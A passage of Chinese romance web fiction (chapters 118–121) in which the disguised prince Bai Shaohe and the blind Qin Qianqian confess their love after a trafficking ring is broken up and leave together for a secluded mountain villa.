元德在此之前更喜欢虐杀，那天之后他变了，他发现让人痛不欲生、想死却不能死，更能折磨一个人。
而这次，元德就打算这么做，殿下特许他大开杀戒，但他反而控制住了杀戮的欲望。
白邵禾那边更是简单，他直接带人杀了过去，不出一个时辰，杀得码头的水都红了一大片，不过活捉的人也很多。
看着官兵把人押送回去，白邵禾与桃花花、王老怪没空去官府看热闹，她们火急火燎地回去找秦千千。
桃花花和王老怪路上还在感慨，这次的官兵看起来很有气势。
“不像是我之前看到的那种喽啰兵，这一个二个，全都是练家子啊！”桃花花没少看清风酒楼的打手收拾闹事儿的人，所以这方面的眼力见还是有的。
王老怪啧啧称奇：“估计这就是人家富庶地方的官府吧，养的官兵都是有真本事的。”
白邵禾心中悄然叹息，这种话她们在外面说说就算了，毕竟她俩捆一块儿也发现不了什么异常，可被秦千千听到，那可就不一样了。
他去屋里没看到秦千千，就赶忙跑到烧炭场，冬芸蹲在一个炭窑前，双手撑着地探头往里面看，白邵禾赶忙跑了过去。
“千千呢？”他无法掩藏脸上的急切，冬芸赶紧从地上起来，“我和姐姐在玩捉迷藏，她藏在这里面，但我不知道是哪一个……”
白邵禾心都凉了半截，这怕不是她的借口，其实已经暗中潜逃了吧？抬头看向房顶时，他跟暗卫对视一眼，那暗卫身着稻草黄的衣服，趴在房顶上几乎辨别不出来。
暗卫朝他打手势，白邵禾这才缓了口气，她没有走。
为了防止她生气，他只好站在一旁，看她们两个公正比赛。可转眼冬芸找完了所有炭窑，却没有发现人。
刚好走到这里的桃花花和王老怪，心都揪了起来，不会真给秦千千跑了吧？白邵禾他们三个赶忙加入找人大队。
房顶上的暗卫也给自己捏了把汗。
不是，自己明明看到她进了最后一排的左边第三个碳炉的啊！
在白邵禾再度抬头的时候，他慌里慌张给殿下打手势，白邵禾这才朝那个碳炉走过去，这才发现，这个碳炉比别的直到膝盖的开口高一些。
冬芸来了可能弯腰就能看到里面，不过白邵禾身形瘦高，只能单膝跪地，一手撑在地上歪头往里面看。
这一看把他吓了一跳。
秦千千为了赢游戏可真是下了血本啊，她用炭窑中残余的碳粉，把自己涂了个大黑脸。其实不止脸，就连衣服都被她涂的黢黑。
猛地看到一片黑暗中，高悬的两个眼珠，任谁来都会吓到。察觉自己被发现后，秦千千赶紧朝他摆手，让他走。
白邵禾低头一笑，想都没想就钻了进去。
炭窑中站一个人绰绰有余，容纳两个人就有些挤了。
他抬手扯开那块儿遮住后半个炉子的黑布，站到了她身边，秦千千无奈，只能小声朝他嘘了一声。
可被黢黑手上沾着的碳粉呛到，她突然咳嗽起来，她下意识想抬手捂嘴，却被白邵禾拉住手，他伸手捂住了她的嘴。
秦千千就这么闷声咳嗽两声，这才缓了过来。她往后撤了一下头，把自己的脸从他掌心解救出来。
“你怎么发现我的？”
“或许是我跟你心意相通吧。”白邵禾都没察觉到，自己现在脸上洋溢着多么幸福的笑容。
秦千千眨巴两下眼睛，看得他忍不住笑出声，在她抬胳膊给了他一肘击后，他这才收住了笑容。
最起码，收住了笑声。
“才怪！话本子上都说了，不是亲密无间的眷侣，是做不到心意相通的。”
“哦？何为亲密无间呢。”他目光灼灼地看着她，可惜秦千千完全看不见。
她若是看到的话，就绝对不会往下再说了。
“最起码，得亲一口的吧，不然算什……”
“这样吗？”白邵禾直接凑上去在她唇上轻啄了一下，一触即分，那时间短到秦千千都没察觉过来。
“不是，什么呀！”她呆愣住，下意识反问。
白邵禾嘴角噙笑，又偷亲了她一下，这下秦千千彻底反应过来了，她赶忙捂住自己的嘴，不知
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所措地往后退。
可白邵禾又怎么会让她乱跑，他虚掩在她背后的手，直接结成一个圈，她往哪里跑？
“千千，我喜欢你。”
这一刻，他什么都不愿意多想，就这么直白地说出自己的心意。若是她能看得见，让他把心挖出来给她看，白邵禾也愿意。
这比刚刚的两个吻带给她的冲击还大，她立马别过脸，不跟他对视。虽然她什么都看不见，但胸口的心几乎就要跳出来。
“你……”
“啊！姐姐，我找到你了！”冬芸弯腰头朝下看过来。
秦千千赶忙拍了两下他依旧环在自己腰际的胳膊，白邵禾这才察觉不妥，缓缓收回一只胳膊。另一只，却还是搭在她腰际。
冬芸也觉得自己看到了不得了的事情，她立马起身远离洞口，还欲盖弥彰地跟里面的人说，她在外面等他们。
白邵禾本想帮她先出去，结果秦千千紧张地拉住他的胳膊，让他捂住嘴。
“为什么要捂嘴？”他自从诡计得逞后，嘴角的笑意就没有消失过。
听到他上扬的尾音，秦千千就知道他现在一定在笑。可是她只能慌乱地指着自己的嘴唇，跟他解释。
“我嘴上有碳粉呀，你别被别人发现了！”
强如秦千千，脑子也有乱成浆糊的时候，白邵禾猜她忘记她没有在嘴唇上涂碳粉，而是一直抿着嘴敛藏唇色的。
“是吗？”
“嗯啊，你看！”秦千千急得踮脚指给他看，那仰起头的动作，让他很难不最后又偷亲了一下。
“你……”
眼前的登徒子来不及收拾，外面的王老怪和桃花花也在喊她们出去，虽说冬芸一直在跟她们说不急，但王老怪才不听。
他着急看秦千千一身黑的样子，桃花花也是急着看热闹。
看她急得不行，白邵禾这才同意出去后一定会捂住嘴的。
秦千千这才在他的搀扶下出去，等他也出来后，秦千千留在原地被王老怪和桃花花笑话，她推了两把身后的白邵禾。
“我去洗个脸，你们两个扶着她点。”
白邵禾走后，秦千千这才喘了口气，等她们三个笑得腰都直不起的时候，她这才抬手示意他们来搀扶自己。
“祖宗们，要不要扶我去洗脸换衣服呢？”
“不行不行，桑姐姐还没回来，等她看完再洗吧。”桃花花笑得头痛，她搀着秦千千回去。
秦千千就这么端坐在屋里，白邵禾都打了温水给她洗脸，王老怪和桃花花硬是揽着不让。
热水放凉，凉水又加热水，热水又变凉。
元德和桑风雪终于赶了回来，终于达成哄堂大笑后，秦千千这才被允许洗脸。
给她擦脸的人，当然是白邵禾。
“白公子，这水是不是热啊？千千的脸怎么红了。”桑风雪时刻关注着秦千千的状况。
白邵禾忍笑点头，看着她抿着嘴一言不发的样子，他快速给她擦好脸，让桑风雪给她换衣服。
毕竟，不能真把她惹生气了。
118. 彻底把感情之事说明白
等她换好衣服后，晚饭也做好了。
秦千千本来不想吃的，她现在脑子很乱，需要好好思考一下。可她拒绝的话都到了嘴边，却让她想到自己要是不去，指不定大家会让白邵禾过来劝她。
不行不行！
那还是现在去吃吧。
不了解发生什么事情的桑风雪她们，自然而然地把秦千千身边的位置留给白邵禾。而他也神色如常地喂她吃饭，秦千千本来想接过碗筷自己吃，可白邵禾怎么肯。
而且他已经十分了解她的秉性，就跟她说起白天发生的事情。
“元德，你们那边的情况怎么样，捉到几个管事的？”
白邵禾这么一问，秦千千忙着听故事，就由着他喂自己了。
元德那边的情况很好，而且这也是他出任务这么些年，伤亡人数最小的一次。他说完之后，白邵禾接着他的话继续说，就这样哄着秦千千吃完了饭。
“那接下来就看官府怎么处置他们了，可惜，要是落在我们手里，高低得把他们折磨得生不如死再说。”秦千千言语中很是惋惜。
白邵禾放下碗筷，这才开始吃饭。
“没事，律法里也是很严，这些人一定会不得好死的。”桑风雪宽慰她，言语中都是恨不得亲自手刃了这些恶人。
秦千千若有所思地在想什么，白邵禾也在沉思，晚些时候他得让暗卫去审，问出当初那个玄阳道道士是谁。
若让这种妖道祸乱皇宫，那他一定严惩不贷！
本以为她吃完饭还会躲着自己，却没想到秦千千主动叫他，其他人识趣地留她们两个人独处。
白邵禾搀着她坐到床上后，他不想秦千千不自在，就准备坐在床边的凳子上。
谁知秦千千跟看透了他的想法一样，直接拉着他的胳膊，让他坐在她身边就好。
“你今天说的话……”她很少有这种犹豫不决的时候，白邵禾也不想看她为难，就直截了当地承认了。
“句句真心，毫无虚言。”
秦千千震惊地眨了眨眼，她之前是有觉察一二的。再后来，桑风雪和王老怪找她聊起此事时，秦千千已经明了他的心意，也看清楚了自己的内心。
可那个时候，出于身份问题，她不配聊这种事情。她心中祈求白邵禾也不要把事情挑明，因为那会让她陷入两难的境地。
事实果真如此，他的确没有说破这事。
其实秦千千不知道的是，白邵禾内心受到的煎熬，一点也不比她少。她要考虑自己的身份，可白邵禾又何尝不是呢？
“千千，若不是现在的状况，我是万万不可能跟你说这些的。当初你是清风酒楼的老板，不仅心系酒楼，还心心念念为你主人赴汤蹈火，我不愿意让你为难。”
仗着她现在看不到，白邵禾毫不掩藏眉眼间的悲伤，他原本以为这些话，这辈子是不能说给她听了。可上天自有安排，现在竟真让他说出来了。
“可现在不一样了，你就是你，不再是什么酒楼老板。再加上你现在总说殒命什么的，弄得我寝食难安，总觉得眨眼间你就会不见了，所以我也不想再隐瞒了，我要把我的心意说给你听。”
白邵禾鼻子微微酸涩，那种感觉太过煎熬，他实在撑不下去了。察觉到他情绪低落，甚至可以说是难过，秦千千朝他伸开手，白邵禾见状直接抱住了她。
可他完全不敢用力，生怕再弄痛她背后的伤口。这一刻，他彻底卸下所有防备，专心致志地沉浸在这一刻。
秦千千把脸埋在他颈间，沉默良久才开口问他有没有好一些，得到肯定答复后，她才语气松快地嗔怪他。
“可是你不经过别人允许就那样，那不就是登徒子做派！”
听出她只是调侃自己，并没有真的生气，白邵禾低头想看她。秦千千心中警铃大作，赶忙低头用额头抵住他肩膀，不让他看到自己的脸。
他浅浅笑了一声，那笑声就在秦千千耳边响起，听得她心里痒痒的。
“你知道吗？”秦千千没头没尾地说了句话，白邵禾却嗯了一声，说自己知道。
“不是，你知道我要说什么？”
“当然。”
秦千千不管他是不是真的知道，反正，她是想亲口告诉他的。
“我发现我也很喜欢你，比我自己认为的，还要喜欢。”秦千千双手撑着他肩膀坐直身子，一本正经地继续说。
“有时候我会跟晏信走的很近，那是因为我发现有些话，我不忍心跟你说，怕你会难过。可没想到你后面越发不待见晏信，或许有这方面的原因吧？”
白邵禾以为自己已经掩藏的很好了，没想到还是给她发现了端倪。
“当时我还没明白自己的心意，但看到他天天黏着你就莫名烦躁，更别说你后面还跟他成婚……”
秦千千这才终于忍不住笑出声，晏信在她们这里的日子可真是不好过，她对晏信说话毫不留情，白邵禾也不待见人家，临了她再不补偿补偿他，那晏信真就是太惨太惨了啊。
“我就说，你为什么单独藏起他的那条项链，原来你是不想让我送给他啊。”
终于，还是说到了项链的事情。
白邵禾的眼神错愕了一瞬，就敏锐地察觉她话中的意思，他的确是出于这个用意，只不过他更为担心的是身份的暴露。
也不知道，姜千秋有没有跟她说自己的事情……
“我只是随意藏了一条，不知道哪条是他的，难不成那大差不大的项链，你也分得清？”
秦千千这才跟他坦白，自从她被救上岸看到他拿出的那两条项链时，她就已经知道他藏了一条项链。
白邵禾顿时觉得后背发凉，没想到她的洞察力这么敏锐，那她今天说起这个事情，肯定还有别的用意。
果然，秦千千立马就沿着那个话题延展了下去。
“所以我们两个是真正的心意相通，晏信就是我们的一个好朋友而已，对吧？”她殷勤地抓住白邵禾的手，当然，还是白邵禾主动把手递过去的。
事出反常必有妖。
白邵禾仿佛看透了一切：“所以你还是把项链送给他了。”
“咳
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咳……天哪，邵禾兄，你真的太聪明了！”被戳破心事，秦千千立马转移话题，“怕你生气，所以不打算跟你说的，只不过我觉得既然咱们把话都说开了，那我就不想瞒你了。”
白邵禾脸上洋溢的幸福荡然无存，他心中万分纠结，那究竟要不要趁着现在，跟她坦白自己的身份呢？
他还是不敢，怕坦白一切后，眼前的一切美好都变成镜花水月一场空了。
那边的秦千千还徜徉在幸福中，她满脸笑意地跟他保证：“之前那是为了补偿晏信，从现在开始，我会好好补偿你的。”
如果说补偿晏信是顺势而为，那补偿白邵禾，就是自己问心有愧。
秦千千也任由自己，暂时沉溺在这短暂的幸福中，他日的死局，那就到时候再忧愁。这样至少，她们还有能拥有眼前的快乐。
“那我就拭目以待了。”白邵禾抛却烦恼，认真地看着她。
结果只等来她把自己扫地出门，还叮嘱自己把桑风雪喊过来，她晚上要跟桑风雪一起睡。
她这是还怕自己偷袭她呀！白邵禾心中懊悔，自己真是打草惊蛇了，可若再来一次，他还是会那么做的。
看着白邵禾脸上洋溢的愉悦，桑风雪打趣他，“白公子是遇到什么喜事了，真真是人逢喜事精神爽啊！”
一旁的王老怪，意有所指地清了清嗓子，满脸希冀地看着他，白邵禾也没打算隐瞒什么，就跟大家直说了。
“我今日跟千千表明了心意，所幸我们两个心意相通。而且我早就答应过桑风雪，以后会保护她，现在就更不会食言。”
在座的所有人都跟着高兴，除了元德。
他自然也为殿下高兴，可有一个最大的忧患没有解决，他相信不止自己，殿下也会为此忧愁。
夜幕降临，白邵禾与元德，坐在空无一人的烧炭场饮酒。元德看出殿下心中还是有化不开的忧愁，就主动提起接下来的计划。
“公子，宫中的回信已经送来了，我们接下来该怎么办？”
按照千千的说法，她在人贩子的事情了结之后，要独自离开自生自灭。现在白邵禾万万不会让她那样做的，他心中有一个大胆的想法。
“明日等我问过千千，再给你答复吧。”
元德晚些时候去跟暗卫碰头，第二天一早又去询问冬芸，反复确定桃花花只能被姜千秋联系，完全不能主动联系她的时候，他才去跟白邵禾汇报。
白邵禾心下了然，问题的关键，肯定还是在秦千千身上。他去找千千的时候，桑风雪、王老怪和桃花花正在陪着她聊天。
“昨天我跟桃花在码头上，从被救出的孩子身上，又闻到梦隐香了。想想也是，我听说那种东西想要奏效，最起码要让人服用或者吸入三天以上，这样才能奏效。”
王老怪给秦千千讲故事解闷，刚进屋的白邵禾却发现了端倪，当初冬芸见姜千秋，不也是中了那种香的毒？
也就是说，当时千千已经悄然无声地给她先下了药？还是说，她身上本身就带有梦隐香，每时每刻都在给身边人下药？
119. 携手私奔
白邵禾立马否决了这个想法，她是最讨厌奇怪味道的人，平时也几乎不擦胭脂水粉，因此她身上并没有什么香味儿。
而且他记得清楚，王老怪说过，这个梦隐香是一定会有香气的。
众人看他过来，桑风雪自觉地起身，把秦千千身边的位置让出来，白邵禾也不推脱，直接坐在她身旁。
秦千千也没有表现出什么异样，她只歪头看向他坐的方向，然后接着王老怪的话往下说。
“的确有这种可能，毕竟让那些孩子们摄入那个香，会让他们格外听话。不过我奇怪的是，若是寻常人贩子，买卖一个孩子赚的钱，根本顾不上用梦隐香花的钱啊！”
这的确是个问题，只不过问题的答案，她也无从得知了。听她这么说，白邵禾心思微动，可若是那些孩子是卖给豪绅那种有钱人的，那一切都说得通了。
这接下来，就是朝廷要接手的事情了，白邵禾绝对不会放过牵涉其中的人的。
众人坐久就觉得要活动一下，于是桃花花提议去外面转转。秦千千不是太想跟她们去街市，就让她们出去，自己在卖炭坊留这就好。
白邵禾自然留下来陪着她，其他的人全都识趣地出门。她们走后，秦千千让白邵禾扶着自己，两个人在卖炭坊里瞎转。
彻底放下戒备后，秦千千笑着跟他讲这里的见闻。
“你有考虑过这卖炭坊，为什么跟清风酒楼有关吗？”
这是她为数不多跟自己聊生意上的事情，白邵禾当然不知道，但瞎猜也不能说不知道。
“是不是酒楼在江湖上有各种店铺，方便你们的线人休息，或者传递情报什么的？”这是他之前搜集出来的信息，而不是瞎说的猜测。
秦千千点头，但随后又摇头。
“你说的那是跟叁余坊一样，独立做生意的店铺。这可是跟酒楼有直接关系的，不跟你卖关子了，其实这里面生产的极品木炭，是用来做清风酒的。”
白邵禾很是疑惑，木炭跟酿酒能有什么关系，酒不是通过粮食发酵酿成的吗？
他回想起唯一喝过的一坛清风酒，那是在璃光海的船上，千千抱出几坛清风酒。
那黑色的陶罐让人印象深刻，他或许猜到了木炭的用途。
“难不成你们是用陶泥加碳粉，烧制成特有的陶罐，用来盛放清风酒的吗？”
两个人刚好走到存储木炭的库房，秦千千笑着点头，“嘘，这可是酒楼的秘密，你可千万要替我保密。”
她这几天已经摸熟了这里的布局，因此熟门熟路地推开眼前的门，带着他穿过麻袋累积的库房，走到一个角落。
的确一眼就能看出来，这角落的东西金贵多了，比起那些麻袋装的东西，这里都是用铜锚漆红的大木箱装着的。
秦千千让他去打开一个箱子，白邵禾确保她站好后，这才松手去开箱。打开箱子的一瞬间，也的确让他开了眼，与黝黑的木炭不同，箱子中的木炭都泛着蓝紫色的光泽。
乍一看，那光泽甚至有些像流光溢彩的贝壳项链。
听到他震惊的吸气声，秦千千一脸骄傲地问他：“的确是好东西对吧？你拿一块儿扔地上，听听那清脆如金属触地的声音。”
照做后，白邵禾更惊讶了，那细条装的木炭不仅没有断裂，还的确发出了清脆悦耳的声音。
“今日真是涨了见识，没想到木炭还能如此这般，只不过用这个做陶罐，是不是有些太过奢侈了？”看着身后几百袋的木炭，白邵禾十分怀疑这东西的产量很低。
只不过普通品质的碳，也能卖给寻常人家，这一项肯定没有想象中那么亏。
秦千千有些惋惜，主人定下的配方，她们是一点都不能改动。这次要不是她先斩后奏，那明月醉就根本酿不出来。
也就是这时，白邵禾才知道她自己调制配方，酿了一批酒。
“明月醉，跟清风酒，听起来就是两个完全不同的口感啊。”白邵禾这话算是说到了她心坎里，秦千千笑得开心，还感慨他的确是很懂自己。
那明月醉就是她反其道而行之，创造出来的东西。清风酒入口绵柔，会让人无意间就喝醉；那明月醉就是入口辛辣，却能让人千杯不醉。
白邵禾在心中感慨，怪不得姜千秋不支持，这明月醉一旦开始售卖，指不定有好多人要来找她的麻烦。
毕竟有些人喝酒就求一个宿醉，可一直喝却不会醉，这不是让人很不爽吗？
“不过我很想尝尝，若是酿出来的话，你要请我喝的吧？”
秦千千想都没想就答应了，“那是自然！那些酒暂时寄存在丁老爷家里，三个月后酿好了，咱们就过去一醉方休。”
说起以后的事情，白邵禾就跟她提起他的计划，那个大胆的想法。
从岭北向东三百里，就是崇山峻岭的山区，再往其中行进几十里，就会有个巨大的瀑布，名叫太溪崖。穆轩岚早年差人在山里建了个嘉松别苑，那个地方他很少去，而且也鲜有人知道。
嘉松别苑就建在太溪崖上面，他当初选定在那个地方，就是因为山上有颗百年松树，形貌傲岸挺拔，让他十分中意。别苑环境清幽，非常适合让她养病。
反正她接下来去哪里不是去，那还不如跟在他身边，最起码他能保证她的安全。
“千千，你意下如何？”
秦千千沉默没多大一会儿，便答应了下来。
“只不过你可要想好，我不管去再深的山里，身边照样会有腥风血雨的。你让我跟着你，我怕会连累你。”
“我不怕。”
桑风雪她们一行人回来的时候，给秦千千带了好几种特色美食，冬芸先跑进屋找人，结果转了一圈都没看到人，只看到了桌子上留着的两封信。
两封信都是白邵禾写的，只不过一封是他为秦千千代笔，另一封信则是他自己留下的。
桑风雪赶紧拆开信，那边的王老怪也拆开细看，等所有人都看完信后，冬芸急得问她们姐姐去哪里了。
桃花
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花整个人呆愣住，略显颓废地坐在圆凳上，“冬芸，千千和白公子一起走了。具体去了哪里，她们没有在信里交代。”
桑风雪脸色凝重，不过想起白邵禾对她的承诺，有脾气也是发不出，她们离开的太仓促了。王老怪一脸懊悔，早知道他就应该给她们多备些药的，这两个人怎么就走的这么急匆匆的？
元德心绪复杂，殿下既然没告诉自己这件事情，那也就很有可能勒令暗卫不许跟着她们。
不过，他也能理解殿下，接下来的抉择太难，殿下一时做不出选择是正常的事情，那就让殿下暂时先喘口气吧。
秦千千和白邵禾坐在马车里，颠簸了半天，这才叫停车夫在原地歇一歇。他直接把她抱下车，把人安稳放在地上后，他像往常一样扶住她臂弯。
“你说桑姐姐她们应该看到咱们的信了吧？”秦千千一脸兴奋，她一想到那些人脸上的惊讶错愕，就忍不住开心。
送君千里终须一别，她不喜欢悲伤的送别环节。
因此前两日送别楚风的时候，她已经尽量不让气氛悲伤了。轮到她自己的时候，她则是选择了悄然离去。
白邵禾怎么会看不懂她的心事，句句都说到她心坎里。
“是啊，她们现在应该一个赛一个的不知所措，不过反应过来后，指不定要骂我拐走了你。”他语气听着有一丝落寞，那是他故意装出来的。
可怀中的人是秦千千，她怎么可能上当呢？
“事实就是这样喽！咱们两个跟穆元基和楚风，只差了一点，你知道差了哪儿吗？”
白邵禾很早就发现她有一个习惯，跟谁说话时，就会不自觉地靠近那个人。若是那人再高她一些，她还会抬起脸看那个人。
现在她肩膀已然抵住他的胸口，可还是习惯性地往他这边偏了偏头，这小动作让他看了甚是开心。
“差在……”他故意卖关子，等秦千千稍显不悦地皱眉时，他这才继续说：“当然是差在你，你比楚风好看。”
虽然回答错了，但秦千千还是被这话哄到了，稍微开心过后，她义正言辞地宣布正确答案。她无意间往远离白邵禾的方向移动一些，这让心中颇有微词。
“区别当然是我喜欢你，而楚风不喜欢穆元基啊！”
她这话是对的。
白邵禾在心中感叹，只有他自己知道，他的占有欲比穆元基更盛，而他的手段，也比穆元基要高得多。
以至于他之前冷眼旁观，穆元基对楚风的囚禁时，他总是在心中嗤笑，若是不想让那人离开自己，用多龌龊的手段都不为过。
穆元基总是在该心狠的时候心软，却又在该心软的时候心狠。
跟秦千千相处过程中，他有太多次想直接把她带走，不让她陷入危险之中，可是他克制住了自己，克制住了心中的魔障。
这也是他和穆元基最大的区别，他知道什么不能做，会因此克制自己，而穆元基却毫不顾忌地去做，根本不在乎心爱之人会不会因此受伤。
120. 故事中只有她们二人
由白邵禾搀着她拾阶而上的时候，秦千千表现得十分雀跃，这山里的景色比她想象的要好很多。
一路上小鸟啁啾、流水潺潺，中途她们甚至还遇到几个樵夫归来跟他们打招呼，这一切都让秦千千惬意无比，整个人都鲜活起来。
“你们家在这里建别苑，肯定花了很多钱吧！这简直是我幻想当中，世外高人居住的地方。”
白邵禾一路都在给她描述沿途的景色，虽然她看不见，可她就像亲眼看到了一样。听她这么感叹，白邵禾的心情也跟着好起来。
“当初我跟我娘说，这里盖成后，指不定我可以在这里退隐江湖，在此了却残生呢。”
这是他当时跟他母后说的话，那时的他几次三番地被人背叛，虽说无伤大雅，完全动摇不了他储君的身份，可他却是身心俱疲。
母后让他去外面修养一阵子，就是在那时，他发现了这个地方，建了这座别苑。
秦千千听得颇为感慨，问他那段时间是不是遇到什么事情了。白邵禾眼神落寞，若是当时他已经认识她，或许不会为了那些事情纠结那么久。
“都过去了，而且我现在反而很感谢那段时间，不然，我怎么会有这么清幽的地方，邀你过来呢？”
人生在世，他越发觉得“万般皆是命”这句话说得对，曾经他的种种遭遇，少了一桩一件，都成不了现如今的他。
若成不了现在的他，那就没办法与她有这么深的际遇。
秦千千也算是发现了，这人自从带她走后，就格外会哄她开心。
“没想到呀，你藏得可真深！本来以为你是武艺高强、却不怎么懂人情世故，没想到现在让我彻底改观了！我敢说，你比很多百花丛中过的纨绔子弟都会哄人开心了。”
白邵禾哭笑不得，他完全没想到自己有那些放浪形骸的人比较的时候，为了防止自己的形象在她心里跟纨绔子弟扯上关系，他得说点什么。
“我得分人。”
四个字，就又把秦千千哄得嘴角上扬。
两个人边说边走，不知走了多久，终于到了嘉松别苑的门口。看着那鎏金牌匾，白邵禾在心中感叹还好她现在眼睛不方便。
在南梁朝，除了天家，寻常百姓是不准用鎏金牌匾的。而这种皇家制式的东西，别苑中比比皆是。
不过他也想通了，若是她在这里眼睛恢复的话，那自己一定会第一时间告诉她实情。他不会跟穆元基一样，选择强制把人留下，他会尊重她的选择。
好在别苑里也不是没有仆人，门卫、仆人、家丁、丫鬟还都是一应俱全的。白邵禾提前让暗卫打好了招呼，在这里他就只是白公子。
送他们来这里的马夫也是暗卫，他早早从另一条路上山，因此等白邵禾他们两个人上山时，饭菜刚刚做好。
两人前脚刚迈进正门，秦千千就被那飘香的饭菜吸引，一路爬上来，她的确是饿了。
“公子小姐，你们可算是回来了。”舒彤跑了过来，很有眼力见地扶住秦千千的胳膊。
秦千千没有抵触，就是有些意外地看向左手边的白邵禾，“平时宅子里你们不在的话，她们也都在山上住着啊？”
她听着那侍女年纪不大，若是真一个人在山上，那得多无聊！
白邵禾知道，像她这种天生跟人打交道的人，替舒彤她们担心，那就肯定是觉得她会孤单。
“是，不过她还有个姐妹陪着她，我们过去吃饭吧。”
秦千千笑意盈盈地任由两个人搀着她，她现在心里简直愉悦的不得了，白邵禾怎么就那么懂她的意思呢？几乎是她刚思考一个问题，他就能准确地回答自己。
白邵禾还是跟往常一样，先喂她吃饭，结果秦千千这次却偏头拒绝了。
其实她觉得自己早早就可以自己吃饭，只是白邵禾一直无微不至的照顾她，现如今到了这别苑，她想自力更生。
“还是我自己来吧。”
白邵禾脸色不悦，言语中也有些抱怨：“怎么来了这里后，你反而跟我生分了？”
秦千千没想到他是这么想的，就赶紧跟他解释。
“我这是心疼你，想让你跟我一起吃饭而已呀。而且谁说不让你管我了，你肯定要帮我夹菜盛饭的嘛。”
她简直哭笑不得，原来这种体贴入微的操劳，他都没有厌烦的时候啊？若是身份互换的话，自己会怎么做呢？
估计会让他自己吃饭……
不过，这话她可不敢说给白邵禾听。
白邵禾也只能妥协，不过他又往她这边靠近了一点，给她夹菜，为她盛汤。让秦千千没想到是，这饭菜格外的可口，在外奔波这么久，这是最对她胃口的一次。
他给盈泉递了个眼神，盈泉立马介绍起做饭的阿嬷。
“小姐，这些饭菜都是任阿嬷做的，她的手艺那是顶顶好的。改日您闲了，我带她去拜见您。”
听声音，又是个二十出头的年轻姑娘。
秦千千点头，她一抬手，白邵禾就把自己的手递了上去，“你们都放松一些，不用叫我小姐，也不用说什么敬语，喊我千千就好。”
之所以抓住白邵禾的手，是因为这是他的家，秦千千担心她说话不好使。
白邵禾无声点头，舒彤和盈泉这才赶紧应承下来。
饭后带着她在院子中逛一会儿，山风就凉了起来，他伸手接过舒彤递来的披风，给她系上之后，秦千千两只手抓住披风两侧。
他这才发现，是披风太长拖在地上了。没办法，这里只存了些他的衣物，还没来得及，也不能给她提前购置衣物。
秦千千担心披风拖在地上弄脏，就喊他快点带自己进屋。然后白邵禾就发现了一个问题，他们两个要怎么睡。
虽说结果肯定是要睡在一起，可他总觉得自己提出来的话，是不是有些居心叵测？
“咳咳。”
秦千千刚一进屋，就刻意地咳了两声，白邵禾低头看她怎么了，看人没什么大碍后，他这才放下心。
“咱们既然把话都说开了，那你今后就跟我一起睡吧。”秦千千眼神正视前方，可她不知道，自己朝的方向正好
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是床榻的方位。
白邵禾应了一声，心中最大的一块儿石头也终于落地。
自从他从光恒府给千千包扎后，他就再也没有见过她背后的伤势。今晚给她换上更为舒适的绸制眠衣时，他才再次看到那些结痂的伤疤。
黑色扭曲的结痂爬满她白皙的后背，伤口周边还有一圈紫色，衬得那伤口更加触目惊心。
说不后悔是假的，他简直快要把肠子悔青了。自己当时怎么就眼睁睁看着她受罚呢？
白邵禾就那么毫无征兆地环上她的腰，往前一步把人搂进怀里。他低头把自己的脑袋跟她脑袋靠在一起，小声问她还疼吗？
“比起疼，更多是痒，我觉得伤口快要长好了。”秦千千抚上环在自己腰际的手，轻轻拍着安抚他。
“都怪我没有保护好你。”
秦千千不知道这是不是她的错觉，她怎么觉得白邵禾情绪突然很低落，这明明不是他的错……
“怎么能怪你呢？这明明是穆轩岚和穆元基干得好事儿，跟你没关系的。”
在她看不见的地方，白邵禾满脸凄然，一想到岌岌可危的来日，他就头痛欲裂。
往常他睡不着的时候，都会直接起身出去吹冷风。可今天他怀里搂着秦千千，别说起身，他连翻身都得小心翼翼的。
他认真地看着她的脸庞，心中无比祈求，时间就停留在这一瞬间。
可惜天不遂人愿，下一瞬间，秦千千就睁开了眼睛。
看着她清明的眼神，他突然有一丝错愕，难道她的眼睛看得见了？
“怎么不睡觉？”她语气慵懒地问他，头枕着他胳膊拱了拱，那语气一听就是刚睡醒。
“你怎么知道我没睡？”
或许是夜深人静的时辰，白邵禾一开口，才发现自己的声音温柔的不像话。
“你刚刚看着我的时候，连呼吸声都没有！那难不成，你睡觉是不用呼吸的？”
秦千千刚一上床就枕着他胳膊睡着了，白邵禾本以为她会一觉到天亮的，完全没想到她现在会醒。而且刚醒，脑子就这么清晰。
“就是突然觉得这像是一场梦，我突然不敢睡了，担心一觉醒来，什么都不存在了。”他沉声说道。
可秦千千却笑得开心：“你不是姓白，而是姓杞，在这里杞人忧天呢吧。”
白邵禾被她的话逗笑，仰面躺在床上笑出声，秦千千凑近拍了下他的胸口，直起身子跟他说话。
发觉她又不自觉靠近自己，白邵禾心情又愉悦了起来，他按着她的肩头，让她爬在自己胸口。
“我知道一个验证这是不是梦的办法，因为我听说过，人在梦里是梦不到未曾经历过的事情的。”
“嗯？”白邵禾没听懂前后的关系，秦千千却飞快地在他脸颊偷亲了一口，然后胳膊撑着床，面带笑意地看着他。
“怎么样，不是梦吧？”
“我怎么还觉得是梦呢，我们是不是在你的梦里呀！”
察觉他准备亲回来，秦千千赶忙按住他的肩膀，阻止他起来扑倒自己。
121. 冰火两重天
任楚君和邢历帆终于扫荡干净名单上的恶人后，这才火急火燎地去岭北跟秦千千她们碰头。
可她们两个刚到那里，就桃花花听说秦千千和白邵禾私奔了，除了她们二人之外，其余人倒是都还在。
“不是，她们不都已经成婚了，这还需要什么私奔吗？”任楚君发现话中的漏洞，桃花花这才察觉到，自己说漏嘴了。
反正现在人都找不到了，那就索性把事情都交代了吧。
“其实她们两个并没有成婚，跟千千成婚的另有其人，只不过见到你们的时候，她们两个已经互相喜欢了。”
桃花花自以为解释的很清楚，邢历帆也觉得自己听明白了。
“那这白公子是千千的外室啊，怪不得她俩得私奔呢！”
“事情不是你想的那样！”元德一下急了，殿下的名声不能在自己眼皮子底下被毁了呀！
别说元德，桑风雪都被气笑了，她帮忙解释。
“之前的成婚仪式是假的，千千和白公子本就是情投意合。”
这下任楚君和邢历帆才彻底明白，邢历帆却又不知死活地问了个问题。
“那是你们不招她们两个待见了，所以人家才走的？”
平时没脸没皮的王老怪都难得黑了脸，就更别说桑风雪和桃花花了，看着她们要生气，邢历帆这才赶忙道歉，说自己说着玩的。
收获任楚君的一个白眼后，邢历帆这下才彻底老实。
“我们两位来，就是想跟各位道个别，天下没有不散的筵席，这次承蒙各位帮助，特来道谢。而且我们两个也只是仗剑行天涯的游侠，也并非什么眷侣。”
任楚君几句话把来意和身份说清楚，桑风雪她们早就知道真相，现在全都装得恍然大悟，也祝她们来日的旅途顺利一些。
